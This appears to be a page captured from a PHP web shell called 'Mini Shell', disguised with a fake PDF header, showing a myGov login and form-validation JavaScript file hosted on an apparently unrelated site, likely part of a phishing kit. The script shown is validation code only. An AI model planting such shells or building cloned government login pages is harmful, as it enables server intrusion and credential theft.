%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/dordingu/www/media/
Upload File :
Create Path :
Current File : /home/dordingu/www/media/mgv2-application.js

(function(global){global.maxMobileScreenWidth=992;global.getUrlParams=function(){var hashes=(window.location.href.split("?")[1]||"").split("&");var params={};for(var i=0;i<hashes.length;i++){var hash=hashes[i].split("=");params[hash[0]]=hash[1];}return params;};global.getAndroidVersion=function(ua){var match=(ua||navigator.userAgent).match(/android\s([0-9\.]*)/i);if(match){return parseFloat(match[1]);}};global.isTouchDevice=(function(){try{document.createEvent("TouchEvent");return true;}catch(e){return false;}})();global.oneUseEvent=function(element,event,fn){function handler(e){fn.call(this,e);this.removeEventListener(event,handler);}element.addEventListener(event,handler);};$(function(){global.isMobileDevice=$(window).width()<=global.maxMobileScreenWidth&&global.isTouchDevice;});})(window.global=window.global||{});$(document).ready(function(){var $menuHitbox=$(".menu-hitbox");$menuHitbox.on("click",function(e){var $this=$(this);if(!$this.hasClass("open")){$this.addClass("open");$this.siblings(".global-menu").slideDown(function(){$this.addClass("open-on-mobile");$(this).removeAttr("style");});$this.find(".text").text("Close");}else{$this.removeClass("open");$this.siblings(".global-menu").slideUp(function(){$this.removeClass("open-on-mobile");$(this).removeAttr("style");});$this.find(".text").text("Menu");}});$menuHitbox.on("keyup",function(e){if(e.which==13){$menuHitbox.trigger("click");}});});$(document).ready(function(){cleanDefaultValues();$(".button-main").on("mousedown",function(event){if(event.button&&event.button!==0){return;}$("form input:visible:enabled").each(function(){if($(this).attr("data-new-password")!==null||$(this).attr("data-reenter-password")!==null){$(this).trigger("blur");}else{$(this).val($(this).val().trim());$(this).trigger("blur");}});if($("form").find(".hasError").length!=0){$("form").find(".hasError:first > input").focus();event.preventDefault?event.preventDefault():(event.returnValue=false);}$(this).trigger("click");});$("form input").on("keypress",function(event){var charCode=event.charCode||event.keyCode||event.which;if(charCode==13){event.preventDefault?event.preventDefault():(event.returnValue=false);$(".button-main").trigger("mousedown");}});$(".button-main").on("click",function(event){$("[dont-validate]").removeAttr("dont-validate");$("form input:visible:enabled").each(function(){var type=$(this).attr("type");if($(this).attr("data-new-password")!==null||$(this).attr("data-reenter-password")!==null){$(this).trigger("blur");}else{$(this).val($(this).val().trim());$(this).trigger("blur");}});if($("form").find(".hasError").length!=0){$("form").find(".hasError:first > input").focus();event.preventDefault?event.preventDefault():(event.returnValue=false);}});$("[data-mandatory--input]").on("blur",function(){if((formHelper.isNotEmpty($(this).val()))){formHelper.clearError($(this));}else{formHelper.setError($(this),"Require a value","p");}});$("[data-mandatory--checkbox]").on("blur",function(){if($(this).is(":checked")){formHelper.clearError($(this));}else{formHelper.setError($(this),"Check this box to continue","p");}});$("form").preventDoubleSubmission();setErrorParent();});var cleanDefaultValues=function(){if($('input[name="formId"]').val()==="clkPersonalDetailsFast"){var label=$("label[for*=clkCRN] span");label.text(label.text()+" (optional)");var crn=$("input[name*=clkCRN]");if(crn.val()==="000000000Z"){crn.val("").css("color","inherit");}}};var setMandatoryValues=function(){if($('input[name="formId"]').val()==="clkPersonalDetailsFast"){var crn=$("input[name*=clkCRN]");if(crn!=null&&crn.val()===""){crn.css("color","transparent").val("000000000Z");}}};$.fn.preventDoubleSubmission=function(){$(this).on("submit",function(event){var $form=$(this);if($form.data("submitted")){event.preventDefault?event.preventDefault():(event.returnValue=false);}else{setMandatoryValues();$form.data("submitted",true);}});return this;};function findInfoOrErrorParent($elem,closestDefault){closestDefault=!closestDefault?"label":closestDefault;var $parent=$elem.closest($(closestDefault));if($elem.closest("fieldset")[0]!==undefined){$parent=$elem.closest($("fieldset"));}else{if($elem.closest(".poro-field-group")[0]!==undefined){$parent=$elem.closest($(".poro-field-group"));}else{if($elem.closest(".selectRadio")[0]!==undefined){$parent=$elem.closest($(".selectRadio"));}else{if($elem.closest(".raet-line")[0]!==undefined){$parent=$elem.closest(".raet-line");}else{if($elem.closest(".input-group")[0]!==undefined){$parent=$elem.closest(".input-group");}else{if($elem.closest(".pincode-input-container")[0]!==undefined){$parent=$elem.closest(".pincode-input-container");}}}}}}return $parent;}function findSuccessParent($elem){var $parent=$elem.closest($("label"));if($elem.closest("fieldset")[0]!==undefined){$parent=$elem.closest($("fieldset"));}else{if($elem.closest(".input-group")[0]!==undefined){$parent=$elem.closest(".input-group");}}return $parent;}function clearMessageType($parent,typeClass){var $msgContainer=$parent.find("."+typeClass+'[role="alert"]');var containerId=$msgContainer.attr("id");if(containerId){formHelper.removeDescription($parent.find('[aria-describedby~="'+containerId+'"]'),containerId);formHelper.removeAriaErrorMessage($parent.find('[aria-errormessage~="'+containerId+'"]'),containerId);}$parent.removeClass(typeClass);$msgContainer.remove();}var setErrorParent=function(){$("form span.hasError").each(function(){var $elem=$(this);var $parent=findInfoOrErrorParent($elem);$parent.addClass("hasError");var $control=$parent.find("input,select");if($control&&$control.length===1){formHelper.associateMessageWithElement($control,$elem);$control.attr("aria-invalid",true);}});};var formHelper={replaceMessageClass:function($element,newClass){$element.removeClass("success");$element.removeClass("hasInfo");$element.removeClass("hasError");if(newClass){$element.addClass(newClass);}},clearAllMessages:function($parent,expectedMessageElementSelector){expectedMessageElementSelector=!expectedMessageElementSelector?"":expectedMessageElementSelector;var $msgContainer=$parent.find(expectedMessageElementSelector+'[role="alert"]');var containerId=$msgContainer.attr("id");if(containerId){formHelper.removeDescription($parent.find('[aria-describedby~="'+containerId+'"]'),containerId);formHelper.removeAriaErrorMessage($parent.find('[aria-errormessage~="'+containerId+'"]'),containerId);}$parent.removeClass("hasError");$parent.removeClass("hasInfo");$parent.removeClass("success");$msgContainer.remove();},resetDefaultValue:function($elem){$elem.val($elem.prop("defaultValue"));},setButtonGroupValue:function($elem,value){$elem.children().each(function(){$(this).removeClass("active");});$elem.children().each(function(){if($(this).text()==value){$(this).addClass("active");return false;}});},getButtonGroupValue:function($elem,cb){var value=null;$elem.children().each(function(){if($(this).hasClass("active")){value=$(this).text();return false;}});return value;},clearError:function($elem){var $parent=findInfoOrErrorParent($elem);clearMessageType($parent,"hasError");$elem.attr("aria-invalid",null);},clearCodeError:function($elem){var $parent=findInfoOrErrorParent($elem,"div");clearMessageType($parent,"hasError");$elem.attr("aria-invalid",null);},clearInfo:function($elem){var $parent=findInfoOrErrorParent($elem);clearMessageType($parent,"hasInfo");$elem.attr("aria-invalid",null);},clearSuccess:function($elem){var $parent=findSuccessParent($elem);clearMessageType($parent,"success");$elem.attr("aria-invalid",null);},setMessage:function($elem,$parent,message,typeClass,ariaInvalid,elementType,ariaLive){elementType=!elementType?"span":elementType;ariaInvalid=!ariaInvalid?null:ariaInvalid;ariaLive=!ariaLive?"polite":ariaLive;var $msgContainer=$("<"+elementType+">"+message+"</"+elementType+">").addClass("form-helper-message").addClass(typeClass).attr("role","alert").attr("aria-live",ariaLive).appendTo($parent);formHelper.replaceMessageClass($parent,typeClass);formHelper.associateMessageWithElement($elem,$msgContainer,typeClass);$elem.attr("aria-invalid",ariaInvalid);return $msgContainer;},setError:function($elem,text,messageElementSelector,isAssertive){if(!messageElementSelector){messageElementSelector="span";}var ariaLive=!isAssertive?"polite":"assertive";var $parent=findInfoOrErrorParent($elem);formHelper.clearAllMessages($parent,messageElementSelector);formHelper.setMessage($elem,$parent,text,"hasError","true",messageElementSelector,ariaLive);},setCodeError:function($elem,text,isAssertive){var $parent=$elem.closest($("div"));var ariaLive=!isAssertive?"polite":"assertive";formHelper.clearAllMessages($parent,"span");formHelper.setMessage($elem,$parent,text,"hasError","true","span",ariaLive);},setInfo:function($elem,text,isAssertive){var $parent=findInfoOrErrorParent($elem);var ariaLive=!isAssertive?"polite":"assertive";formHelper.clearAllMessages($parent,"span");formHelper.setMessage($elem,$parent,text,"hasInfo",null,"span",ariaLive);},setSuccess:function($elem,text,isAssertive){var $parent=findSuccessParent($elem);var ariaLive=!isAssertive?"polite":"assertive";formHelper.clearAllMessages($parent,"span");formHelper.setMessage($elem,$parent,text,"success",null,"span",ariaLive);},setErrorSelect:function($elem,text){formHelper.clearSuccess($elem);var errText,$msgContainer;var $parent=findInfoOrErrorParent($elem);errText=$parent.find("#errorSelect");if(errText[0]===undefined){errText="<span id='errorSelect' class='hasError'></span>";}$parent.append(errText).addClass("hasError");$msgContainer=$parent.find("#errorSelect");$msgContainer.html(text);},clearErrorSelect:function($elem){var $msgContainer;var $parent=findInfoOrErrorParent($elem);$msgContainer=$parent.find('span[id="errorSelect"]');$parent.removeClass("hasError");$msgContainer.remove();},isUserIdValid:function(userId){var unameRegex="^[ \t]*[a-zA-Z]{2}[0-9]{6}[ \t]*$";var unameRule=new RegExp(unameRegex);return unameRule.test(userId);},isEmailValid:function(emailAddress){var emailAddress=emailAddress.trim();var valid=emailAddress.search(/^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/);return(valid===0);},isHomeNumberValid:function(number){var number=formHelper.spaceRemoved(number);var isNumber=formHelper.isNumber(number);if(isNumber){if(number.length===9&&number.substring(0,5)==="67232"){return true;}if(number.length===10&&number.substring(0,2).match("02|03|07|08")){return true;}}return false;},isWorkNumberValid:function(number){var number=formHelper.spaceRemoved(number);return(formHelper.isMobileValid(number)||formHelper.isHomeNumberValid(number));},isNumber:function(input){return(/^\d+$/).test(input);},isMobileValid:function(number){var number=formHelper.spaceRemoved(number);var isNumber=formHelper.isNumber(number);if(isNumber){if(number.length===10&&number.substring(0,2)==="04"){return true;}if(number.length===9&&number.substring(0,5)==="67235"){return true;}}return false;},isNotEmpty:function(val){return(val!=="");},isEmpty:function(val){return(val==="");},isTypingSame:function($this,$compareWith){var compareWithVal=$compareWith.val(),thisVal=$this.val(),curpos=thisVal.length-1,compareWithChar=compareWithVal.charAt(curpos),thisChar=thisVal.charAt(curpos),thisPortion=thisVal.substring(0,curpos),compareWithPotion=compareWithVal.substring(0,curpos),errMsg="",successMsg="";if(compareWithVal===thisVal){return true;}if(thisChar!==compareWithChar){return false;}if(thisPortion===compareWithPotion){formHelper.clearError($this);}},chkFieldIsEmpty:function($this){if(formHelper.isEmpty($this.val())){return true;}else{return false;}},chkTooManyCharacters:function($this,max){if($this.val().length>max){return true;}else{return false;}},chkNumberOnly:function($this){return(/^\d+$/g).test($this.val());},chkValidCode:function($this){return(/^(([0-9]){6})$/).test($this.val());},enableDate:function(){if($(".date-fields").length>0){$(".date-fields input").each(function(){$(".date-fields input").prop("disabled",false).attr("aria-disabled",false);});}},disableDate:function(){if($(".date-fields").length>0){$(".date-fields input").each(function(){$(".date-fields input").prop("disabled",true).attr("aria-disabled",true);formHelper.clearError($(".date-fields input"));$(".date-fields input").val("");});}},spaceRemoved:function(thisval){return thisval.replace(/ /g,"");},associateMessageWithElement:function($input,$message,messageTypeClass){if(!messageTypeClass){messageTypeClass="";}const id=formHelper.ensureUniqueIdFor($input);const messageId=id+"__form-helper-message";$message.attr("id",messageId);messageTypeClass==="hasError"?formHelper.addAriaErrorMessage($input,messageId):formHelper.addDescription($input,messageId);},addDescription:function($element,descriptionId){const originalDescriptionAttr=$element.attr("aria-describedby");const descriptions=originalDescriptionAttr?originalDescriptionAttr.split(" "):[];if(descriptions.indexOf(descriptionId)===-1){descriptions.unshift(descriptionId);}$element.attr("aria-describedby",descriptions.join(" "));},addAriaErrorMessage:function($element,errorMessageId){$element.attr("aria-errormessage",errorMessageId);},removeDescription:function($element,descriptionId){const originalDescriptionAttr=$element.attr("aria-describedby");const descriptions=originalDescriptionAttr?originalDescriptionAttr.split(" "):[];const newDescriptionAttr=descriptions.filter(formHelper.checkEmptyElements(descriptionId)).toString().replace(/,/g," ");if(newDescriptionAttr.trim().length>0){$element.attr("aria-describedby",newDescriptionAttr);}else{$element.attr("aria-describedby",null);}},removeAriaErrorMessage:function($element){$element.attr("aria-errormessage",null);},checkEmptyElements:function(descriptionId){return function(id){return id!==descriptionId;};},};(function(){var lastGeneratedIdNumber=0;function ensureUniqueIdFor($element){const originalId=$element.attr("id");if($element.attr("id")){return originalId;}else{var newId;var tries=0;do{newId="mgv-unique-element-"+(++lastGeneratedIdNumber);}while(tries<100&&$("#"+newId).length!=0);if(tries>=99){throw new Error("Could not generate an new ID");}$element.attr("id",newId);return newId;}}formHelper.ensureUniqueIdFor=ensureUniqueIdFor;})();(function($){$(".poro-date-fields-optional input").on("blur",function(){var testFuture=false,optional=true;updateDateField($(this),testFuture,optional);validateDate($(this));});$(".poro-date-fields-mandatory input").on("blur",function(){var testFuture=false,optional=false;updateDateField($(this),testFuture,optional);validateDate($(this));});$(".date-fields input").on("blur",function(){var testFuture=true,optional=false;updateDateField($(this),testFuture,optional);validateDate($(this),optional);});if($(".date-fields").length>0){var today=new Date();var dd=today.getDate().toString().length===1?"0"+today.getDate():today.getDate();var mm=(today.getMonth()+1).toString().length===1?"0"+(today.getMonth()+1):(today.getMonth()+1);var yyyy=today.getFullYear();if(dd!==undefined&&mm!==undefined&&yyyy!==undefined){$(".exampleDate").text("For example: "+dd+" "+mm+" "+yyyy);}}var validateDate=function($this,optional){var $parent=$this.closest($("fieldset")),date=$parent.find("[data-date]").val(),isDay=$this.attr("data-date-day")!==undefined,isMonth=$this.attr("data-date-month")!==undefined,isYear=$this.attr("data-date-year")!==undefined,thisval=$this.val(),isDateFilledIn=chkDateFilledIn($this);if(date===("NaN")||date===("future")){if(isDay){updateDayError($this,isDateFilledIn);}if(isMonth){updateMonthError($this,isDateFilledIn);}if(isYear){updateYearError($this,isDateFilledIn);}if((date==="NaN")&&isDateFilledIn){formHelper.setError($this,"Enter a valid date in the format of DD/MM/YYYY","p");}if((date==="future")&&isDateFilledIn){formHelper.setError($this,"The date can't be in the future","p");}}else{formHelper.clearError($this);}};var isValidDay=function(number){return(formHelper.isNumber(number)&&(number<32)&&(number>0));};var isValidMonth=function(number){return(formHelper.isNumber(number)&&(number<13)&&(number>0));};var isValidYear=function(number){var year=new Date().getFullYear();return(formHelper.isNumber(number)&&(number>year-150)&&(number.trim().length===4));};var chkDateFilledIn=function($elem){var $parent=$elem.closest($("fieldset"));if($parent!==undefined){day=$parent.find("[data-date-day]").val();month=$parent.find("[data-date-month]").val();year=$parent.find("[data-date-year]").val();if(formHelper.isNotEmpty(year)&&formHelper.isNotEmpty(month)&&formHelper.isNotEmpty(day)){return true;}}return false;};var updateDayError=function($day,isDateFilledIn){if(!isValidDay($day.val())){formHelper.setError($day,"Enter a valid date in the format of DD/MM/YYYY","p");}else{if(isDateFilledIn){formHelper.clearError($(this));}}};var updateMonthError=function($month,isDateFilledIn){if(!isValidMonth($month.val())){formHelper.setError($month,"Enter a valid date in the format of DD/MM/YYYY","p");}else{if(isDateFilledIn){formHelper.clearError($(this));}}};var updateYearError=function($year,isDateFilledIn){if(!isValidYear($year.val())){formHelper.setError($year,"Enter a valid date in the format of DD/MM/YYYY","p");}else{if(isDateFilledIn){formHelper.clearError($(this));}}};var updateDateField=function($this,testFuture,optional){var $parent=$this.closest($("fieldset")),now=moment(new Date(),"DD/MM/YYYY"),$year=$parent.find("[data-date-year]"),$day=$parent.find("[data-date-day]"),year=$parent.find("[data-date-year]").val(),month=$parent.find("[data-date-month]").val(),day=$parent.find("[data-date-day]").val(),isPartial=!($day.length>0),isDateFilledIn=chkDateFilledIn($year),$doc="";if(isPartial){if(month!==""||year!==""){$doc=month+"/"+year;validDate=isValidMonth(month)&&isValidYear(year);$("[data-date]").val("");}else{$("[data-date]").val("optional");}}else{if(optional){if(day!==""||month!==""||year!==""){$doc=day+"/"+month+"/"+year;validDate=isValidDay(day)&&isValidMonth(month)&&isValidYear(year);$("[data-date]").val("");}else{$("[data-date]").val("optional");}}else{$doc=day+"/"+month+"/"+year;validDate=isValidDay(day)&&isValidMonth(month)&&isValidYear(year);}}var dateOfChange=moment($doc,"DD/MM/YYYY"),duration=moment.duration(now.diff(dateOfChange)),days=duration.asDays(),inFuture=!(days>=0)&&(testFuture);if($("[data-date]").val()==="optional"){return;}else{if(!isDateFilledIn||!validDate){$("[data-date]").val("NaN");return;}else{if(!inFuture&&validDate&&isDateFilledIn){$("[data-date]").val($doc);}else{if(inFuture){$("[data-date]").val("future");}}}}};})(jQuery);(function($){$(document).ready(function(){var initToggle=function(){$(".showPassword").on("click",function(){var $this=$(this),$inputType,$passwordInput=$this.siblings("input"),relatedInputStr="";if($passwordInput.attr("data-new-password")!==undefined){relatedInputStr="data-reenter-password";}else{if($passwordInput.attr("data-new-pin")!==undefined){relatedInputStr="data-reenter-pin";}}if($passwordInput.attr("data-reenter-password")!==undefined){relatedInputStr="data-new-password";}else{if($passwordInput.attr("data-reenter-pin")!==undefined){relatedInputStr="data-new-pin";}}if(relatedInputStr!==""){$relatedElementInput=$("["+relatedInputStr+"]");$relatedElementInputButton=$relatedElementInput.siblings("button");}$inputType=$passwordInput.attr("type");if($inputType.toLowerCase()==="password"){setPwdHide($this);if(relatedInputStr!==""){setPwdHide($relatedElementInputButton);}}else{setPwdShow($this);if(relatedInputStr!==""){setPwdShow($relatedElementInputButton);}}});};var setPwdShow=function($this){var $passwordInput=$this.siblings("input");$showpasswordhelptext="Note: this will visually expose your password on the screen.";$showhelp=$("#show-hide-helpmsg");$passwordInput.attr("type","password");$this.attr("aria-label","Show password as plain text.").attr("aria-describedby","show-hide-helpmsg").html("Show");$showhelp.replaceWith("<p class='is-visuallyhidden' id='show-hide-helpmsg'>"+$showpasswordhelptext+"</p>");};var setPwdHide=function($this){var $passwordInput=$this.siblings("input");$passwordInput.attr("type","text");var $hidepasswordhelptext="Note: this will visually stop exposing your password on the screen.";$hidehelp=$("#show-hide-helpmsg");$this.attr("aria-label","Hide password").attr("aria-describedby","show-hide-helpmsg").html("Hide");$hidehelp.replaceWith("<p class='is-visuallyhidden' id='show-hide-helpmsg'>"+$hidepasswordhelptext+"</p>");};$('input[type="password"]').each(function(){var $this=$(this),showhide="";showhide='<button class="showPassword anchor" type="button" aria-describedby="show-hide-helpmsg" aria-label="Show password as plain text.">Show</button><p class="is-visuallyhidden" id="show-hide-helpmsg">Note: this will visually expose your password on the screen.</p>';$this.before(showhide);});$("[data-current-password]").on("focusout",function(){validateCurrentPwd($(this));});$("[data-new-password]").on("blur",function(){$relatedElementInput=$("[data-reenter-password]");validateNewPwd($(this));if(formHelper.isEmpty($(this).val())){formHelper.setError($(this),"Enter your new password","p");}if($relatedElementInput.val()!=""){$relatedElementInput.trigger("keyup");}});$("[data-reenter-password]").on("blur",function(){validateNewPwd($(this));if(formHelper.isEmpty($(this).val())){formHelper.setError($(this),"Re-enter your new password","p");}});$("[data-new-password]").on("keyup",function(){var errmsg="",password=$(this).val(),rule0=(/\s/g).test(password),rule1=formHelper.chkTooManyCharacters($(this),64);if(rule1){errmsg="Password cannot be longer than 64 characters";}if(errmsg!==""){formHelper.setError($(this),errmsg,"p");}else{formHelper.clearError($(this));}});$("[data-reenter-password]").on("blur",function(){var $compareWith=$("[data-new-password]"),isSame=($(this).val()===$compareWith.val());if(formHelper.isEmpty($(this).val())){formHelper.setError($(this),"Re-enter your new password","p");}else{if(isSame){formHelper.setSuccess($(this),"The passwords are the same","p");}else{formHelper.setError($(this),"The password you've re-entered doesn't match your new password","p");}}});$("[data-reenter-password]").on("keyup",function(){var $compareWith=$("[data-new-password]"),isSame=formHelper.isTypingSame($(this),$compareWith),errMsg="",successMsg="";if(isSame!==undefined){if(isSame){errMsg="";successMsg="The passwords are the same";}else{errMsg="The password you've re-entered doesn't match your new password";successMsg="";}if(formHelper.isNotEmpty($(this).val())){(errMsg!=="")?formHelper.setError($(this),errMsg,"p"):formHelper.setSuccess($(this),successMsg);}}});initToggle();});var validateCurrentPwd=function($elem){if(formHelper.chkFieldIsEmpty($elem)){formHelper.setError($elem,"Enter your current password","p");}else{formHelper.clearError($elem);}};var isthreeSequential=function(char1,char2,char3){var next=String.fromCharCode(char1.charCodeAt()+1);if(char2===next){var afternext=String.fromCharCode(char2.charCodeAt()+1);return char3===afternext;}return false;};var isthreeRepeated=function(char1,char2,char3){if(char1===char2){return(char2===char3);}};var chkSeqRep=function(str){var count=0;for(var x=0;x<str.length;x++){var c=str.charAt(x);var d=str.charAt(x+1);var e=str.charAt(x+2);if(isthreeSequential(c,d,e)||isthreeRepeated(c,d,e)){var x=x+2;count++;}}return(count>1);};var validateNewPwd=function($elem){var password=$elem.val(),relatedInputStr,errStatus,curPwd=$("[data-current-password]").val(),rule1=!(/^(?=.*[0-9])(?=.*[a-zA-Z])(([a-zA-Z0-9\!\@\#\$\%\^\&\*]){7,})$/).test(password),rule1=!(/^.{10,}$/).test(password),rule1b=!(/^[\s\da-zA-Z!@#$%^&*]*$/).test(password),rule2=!(/(([a-zA-Z]){1,})+/).test(password),rule3=!(/(([0-9]){1,})+/).test(password),rule4=(/(.)\1{3,}/).test(password),rule7=chkSeqRep(password),rule9=formHelper.chkTooManyCharacters($elem,64),rule10=(password===curPwd);rule11=(/(abcd|bcde|cdef|defg|efgh|fghi|ghij|hijk|ijkl|jklm|klmn|lmno|mnop|nopq|opqr|pqrs|qrst|rstu|stuv|tuvw|uvwx|vwxy|wxyz|0123|1234|2345|3456|4567|5678|6789|7890)+/i).test(password),rule12=(password===$("input:hidden[name=accountid]").val());errmsg="";if(rule10){errmsg="Your new password can't be the same as current password";}else{if(rule1){errmsg="Your password must have at least 10 characters";}else{if(rule9){errmsg="Password cannot be longer than 64 characters";}else{if(rule2){errmsg="Your password must include a letter";}else{if(rule3){errmsg="Your password must include a number";}else{if(rule1b){errmsg="Your password can only use spaces and these special characters !@#$%^&*";}else{if(rule4){errmsg="Your password can't have more than 3 of the same characters in a row";}else{if(rule11){errmsg="Your password can't have more than 3 characters in sequential order";}else{if(rule7){errmsg="Your password can't have more than one string of 3 identical or sequential characters";}else{if(rule12){errmsg="myGov passwords MUST not be the same as the myGov account username.";}}}}}}}}}}if(formHelper.isNotEmpty(password)){if(errmsg!=""){formHelper.setError($elem,errmsg,"p");}else{formHelper.clearError($elem);}}};})(jQuery);(function($){$(document).ready(function(){$("[data-email-address]").on("blur",function(){if($(this).val().trim()!==""){if(formHelper.isEmailValid($(this).val().trim())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid email address. For example name@mail.com","p");}}else{formHelper.clearError($(this));}});var contactNumber=function(){var $mobile=$("[data-mobile-number]"),$home=$("[data-home-number]"),$work=$("[data-work-number]");$("[data-mobile-number]").on("keyup",function(){if($(this).val()!=""){formHelper.enableDate();}else{if(($home.val()||$work.val())===""){formHelper.disableDate();}}});$("[data-home-number]").on("keyup",function(){if($(this).val()!=""){formHelper.enableDate();}else{if(($work.val()||$mobile.val())===""){formHelper.disableDate();}}});$("[data-work-number]").on("keyup",function(){if($(this).val()!=""){formHelper.enableDate();}else{if(($home.val()||$mobile.val())===""){formHelper.disableDate();}}});$("[data-mobile-number]").on("blur",function(){if($(this).val()!=""){formHelper.enableDate();if(formHelper.isMobileValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid Australian or Norfolk Island mobile number. Australian mobile numbers contain 10 digits and begin with 04","p");}}else{formHelper.clearError($(this));if(($home.val()||$work.val())===""){formHelper.disableDate();}}});$("[data-home-number]").on("blur",function(){if($(this).val()!=""){formHelper.enableDate();if(formHelper.isHomeNumberValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid Australian or Norfolk Island landline phone number. Australian landline numbers contain 10 digits and begin with 02, 03, 07 or 08","p");}}else{formHelper.clearError($(this));if(($work.val()||$mobile.val())===""){formHelper.disableDate();}}});$("[data-work-number]").on("blur",function(){if($(this).val()!=""){formHelper.enableDate();if(formHelper.isWorkNumberValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid Australian or Norfolk Island phone number. Australian phone numbers contain 10 digits and begin with 02, 03, 07, 08 or 04 for mobile numbers","p");}}else{formHelper.clearError($(this));if(($home.val()||$mobile.val())===""){formHelper.disableDate();}}});$("[data-home-number], [data-work-number]").on("keyup blur",function(e){if(this.value.length>0){$(this).parent().next('[type="checkbox"]').prop("disabled",false).attr("aria-disabled",false);}else{$(this).parent().next('[type="checkbox"]').prop("disabled",true).attr("aria-disabled",true);if(e.type==="blur"){$(this).parent().next('[type="checkbox"]').prop("checked",false);}}});$("[data-home-number], [data-work-number]").trigger("keyup");};contactNumber();$("[data-showmore-hideself]").on("click",function(){$(".moreUpdates[hidden]").slice(0,10).removeAttr("hidden aria-hidden");if($(".moreUpdates[hidden]").length===0){$(this).parent().hide();}});});})(jQuery);$(document).ready(function(){$("[data-email-addr]").on("blur",function(){if(formHelper.isEmailValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid email address. For example name@mail.com","p");}});$("[data-number-email-input]").on("blur",function(){if((formHelper.isNotEmpty($(this).val()))&&(formHelper.chkValidCode($(this)))){formHelper.clearCodeError($(this));}else{formHelper.setCodeError($(this),"Enter the 6 digit code we sent to your email address","p");}});$("[data-number-mobile-input]").on("blur",function(){if((formHelper.isNotEmpty($(this).val()))&&(formHelper.chkValidCode($(this)))){formHelper.clearCodeError($(this));}else{formHelper.setCodeError($(this),"Enter the 6 digit code we sent to your mobile number","p");}});$("[data-number-totp--input]").on("blur",function(){if((formHelper.isNotEmpty($(this).val()))&&(formHelper.chkValidCode($(this)))){formHelper.clearCodeError($(this));}else{formHelper.setCodeError($(this),"To continue, enter a code from the myGov Code Generator app","p");}});});$("[data-mobile-num]").on("blur",function(){if(formHelper.isMobileValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid Australian or Norfolk Island mobile number. Australian mobile numbers contain 10 digits and begin with 04.","p");}});const securityCodesInfo=document.querySelector("#security-codes-info");if(securityCodesInfo){securityCodesInfo.setAttribute("hidden","true");}$("[data-infotext-toggle]").on("click",function(){const securityCodesInfo=document.querySelector("#security-codes-info");const hidden=securityCodesInfo.getAttribute("hidden");var attr=$(this).attr("aria-expanded");attr=attr==="false"?"true":"false";$(this).attr("aria-expanded",attr);if(hidden==null){securityCodesInfo.setAttribute("hidden","true");}else{securityCodesInfo.removeAttribute("hidden");}});$(":radio[data-inbox-pref]").on("change",function(){var selected=this.value;switch(selected){case"mobile":formHelper.clearError($("[data-email-addr]"));formHelper.resetDefaultValue($("[data-email-addr]"));$("[data-email-addr]").closest($("label")).attr({"hidden":true,"aria-hidden":true});$("[data-mobile-num]").closest($("label")).removeAttr("hidden aria-hidden");break;case"email":formHelper.clearError($("[data-mobile-num]"));formHelper.resetDefaultValue($("[data-mobile-num]"));$("[data-mobile-num]").closest($("label")).attr({"hidden":true,"aria-hidden":true});$("[data-email-addr]").closest($("label")).removeAttr("hidden aria-hidden");break;default:}});(function($){var initSQA=function(){var $form=$(".sqa-form"),$question=$("[data-secretquestion]"),$answer=$("[data-secretanswer]");$(".selectRadio input:radio").on("blur change",function(){var selectedRadioName=$(".selectRadio input:radio:checked").val();if((selectedRadioName)===undefined){formHelper.setErrorSelect($(".selectRadio"),"Make a selection");}else{formHelper.clearErrorSelect($(".selectRadio"));}});$question.on("blur",function(){var errMsg="",rule1=formHelper.chkFieldIsEmpty($(this)),rule2=chkQuestionAnswerSame(),rule3=formHelper.chkTooManyCharacters($(this),100);if(rule1){errMsg="Enter a question";}else{if(rule2){errMsg="The question and answer must be different";}else{if(rule3){errMsg="The question can't be more than 100 characters including spaces";}}}if(errMsg!==""){formHelper.setError($(this),errMsg,"p");}else{formHelper.clearError($question);}chkQuestionAnswerSame();});$answer.on("blur",function(){var errMsg="",rule1=formHelper.chkFieldIsEmpty($(this)),rule2=chkQuestionAnswerSame(),rule3=formHelper.chkTooManyCharacters($(this),40);if(rule1){errMsg="Enter an answer";}else{if(rule2){errMsg="The question and answer must be different";}else{if(rule3){errMsg="The answer can't be more than 40 characters including spaces";}}}if(errMsg!==""){formHelper.setError($(this),errMsg,"p");}else{formHelper.clearError($answer);}});$question.on("keyup",function(){var errMsg="",rule1=formHelper.chkTooManyCharacters($(this),100);if(rule1){errMsg="The question can't be more than 100 characters, including spaces";}if(errMsg!==""){formHelper.setError($(this),errMsg,"p");}});$answer.on("keyup",function(){var errMsg="",rule1=formHelper.chkTooManyCharacters($(this),40);if(rule1){errMsg="The answer can't be more than 40 characters including spaces";}if(errMsg!==""){formHelper.setError($(this),errMsg,"p");}});var chkQuestionAnswerSame=function(){var errMsg="The question and answer must be different";$questionValue=$question.length>0?$question.val().trim().toLowerCase():"";$answerValue=$answer.val().trim().toLowerCase();if(!$questionValue||!$answerValue||(!$questionValue&&!$answerValue)){return;}if($questionValue===$answerValue){return true;}else{return false;}};};var toggleOwnQuestion=function(){var $question=$("[data-secretquestion]"),$answer=$("[data-secretanswer]");$("[data-prefillquestion]").prev("input").on("change",function(){$question.val($(this).next().text());$question.parent().hide();});$("input[name=radioQuestion]").on("change",function(){var $selectedQuestion=$("input[name=radioQuestion]:checked"),$lastQuestion=$("input[name=radioQuestion]").last();if($selectedQuestion.val()!==$answer.val()){formHelper.clearError($answer);}else{formHelper.setError($answer,"The question and answer must be different","p");}if($lastQuestion.is(":checked")){formHelper.clearError($selectedQuestion);formHelper.clearError($answer);$question.val("");$question.parent().show().css("display","block");}else{formHelper.clearError($question);$question.parent().hide();}});};toggleOwnQuestion();initSQA();})(jQuery);(function($){$(document).ready(function(){if($("[data-date]").length>0){if($("[data-date]").val()!==""){var date=$("[data-date]").val().split("/");var 